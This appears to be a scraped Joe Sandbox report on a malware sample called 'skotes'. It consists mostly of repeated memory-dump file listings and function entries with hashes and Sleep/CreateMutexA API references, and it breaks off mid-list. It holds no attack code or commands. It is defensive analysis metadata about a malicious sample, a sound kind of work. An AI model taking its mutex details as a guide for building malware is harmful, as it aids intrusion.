Associated: 00000001.00000002.1891163666.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891183834.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891201870.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891222874.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891243140.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891261008.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891281160.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891298329.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891316771.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891334220.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891350487.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891368209.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891385849.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891404252.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891425685.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891442763.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891460960.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891531791.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891550316.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891567249.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891585910.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891607349.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891628015.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891645876.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: dc5d9c4a508b955e7511f2881ddfaaf87b9b4538f600daaf96325445280a5f94
Instruction ID: ddb521b3629f85baf5ec98d6069a6fdcf5995da42f7827bc6ff3eb3592e3e207
Opcode Fuzzy Hash: dc5d9c4a508b955e7511f2881ddfaaf87b9b4538f600daaf96325445280a5f94
Instruction Fuzzy Hash: FC318D317042049BEB1CDBB8DDE87ADBB72EF85314F608218F0A4D72D6C7B559808752

Function 0010A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000001.00000002.1890546983.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000001.00000002.1890507658.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890546983.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890629059.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890649220.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890670010.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890782543.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890808743.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890837628.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890860591.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890923644.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890943161.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890962332.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890980494.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891001120.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891020117.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891038679.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891056159.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891080776.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891099199.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891120459.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891141081.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891163666.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891183834.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891201870.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891222874.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891243140.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891261008.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891281160.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891298329.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891316771.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891334220.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891350487.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891368209.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891385849.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891404252.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891425685.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891442763.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891460960.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891531791.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891550316.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891567249.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891585910.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891607349.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891628015.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891645876.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 456fabff088ba103df0e8bbed0ddb2d4b638e1a768b9ca0444f29c9f4ffe09dd
Instruction ID: 6ee7209a9c9b13e45f9517eee3f0c787d3b2ab5acf2e09c03107a75b13b70562
Opcode Fuzzy Hash: 456fabff088ba103df0e8bbed0ddb2d4b638e1a768b9ca0444f29c9f4ffe09dd
Instruction Fuzzy Hash: A93166317043449BEB08DBB8DDD8BACB772DF92314F648218F0A49B3D5C7B699808752

Function 0010A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000001.00000002.1890546983.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000001.00000002.1890507658.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890546983.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890629059.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890649220.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890670010.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890782543.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890808743.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890837628.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890860591.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890923644.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890943161.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890962332.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890980494.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891001120.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891020117.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891038679.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891056159.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891080776.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891099199.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891120459.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891141081.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891163666.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891183834.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891201870.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891222874.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891243140.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891261008.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891281160.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891298329.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891316771.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891334220.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891350487.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891368209.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891385849.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891404252.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891425685.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891442763.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891460960.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891531791.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891550316.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891567249.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891585910.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891607349.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891628015.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891645876.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 072fdae84daa9495f905ce10cf8558a5e70b5e802b155233b4e512e0f23d70b7
Instruction ID: 3c34f50c7d656d6d6a42034aa4548c2dd9668cd4a3dbbdbcf2775ae0f4f94177
Opcode Fuzzy Hash: 072fdae84daa9495f905ce10cf8558a5e70b5e802b155233b4e512e0f23d70b7
Instruction Fuzzy Hash: 8C3166317043449BEB08DBB8DDD9BACB772AF96314F608228E054AB2D1D7B699C08752

Function 0010A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000001.00000002.1890546983.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000001.00000002.1890507658.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890546983.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890629059.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890649220.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890670010.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890782543.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890808743.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890837628.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890860591.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890923644.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890943161.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890962332.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890980494.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891001120.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891020117.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891038679.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891056159.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891080776.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891099199.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891120459.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891141081.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891163666.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891183834.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891201870.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891222874.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891243140.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891261008.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891281160.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891298329.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891316771.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891334220.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891350487.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891368209.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891385849.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891404252.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891425685.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891442763.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891460960.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891531791.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891550316.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891567249.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891585910.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891607349.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891628015.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891645876.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a5356a46ce060e1c31c7a81a9b37788075d575f58d448a178867586da214d1f0
Instruction ID: 45e65c47a70654b0da016fe729824b67a82e58370639abd390546913d19703a4
Opcode Fuzzy Hash: a5356a46ce060e1c31c7a81a9b37788075d575f58d448a178867586da214d1f0
Instruction Fuzzy Hash: 3B314A31B043009BEB08DBB8DDD9B6DB772EF91314F688218E094DB2D5D7F559808752

Function 0010A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000001.00000002.1890546983.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000001.00000002.1890507658.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890546983.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890629059.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890649220.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890670010.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890782543.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890808743.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890837628.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890860591.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890923644.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890943161.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890962332.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890980494.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891001120.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891020117.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891038679.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891056159.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891080776.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891099199.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891120459.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891141081.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891163666.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891183834.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891201870.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891222874.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891243140.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891261008.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891281160.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891298329.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891316771.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891334220.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891350487.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891368209.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891385849.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891404252.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891425685.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891442763.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891460960.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891531791.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891550316.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891567249.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891585910.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891607349.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891628015.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891645876.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a8862daf91a96d2b712935c819c5a880f0a5ad6e48d30afafb70dbd51d2b05fc
Instruction ID: 224afaca9b5dede1b2172d035bd25b412c4ea01a81cbdc98ddc70127f7275c3e
Opcode Fuzzy Hash: a8862daf91a96d2b712935c819c5a880f0a5ad6e48d30afafb70dbd51d2b05fc
Instruction Fuzzy Hash: 32315B317043049BEB18DBB8DDD9BACB772EFC5328F648218E494DB2D1CBB599808752

Function 0010A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000001.00000002.1890546983.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000001.00000002.1890507658.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890546983.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890629059.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890649220.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890670010.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890782543.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890808743.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890837628.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890860591.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890923644.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890943161.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890962332.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890980494.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891001120.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891020117.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891038679.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891056159.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891080776.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891099199.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891120459.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891141081.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891163666.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
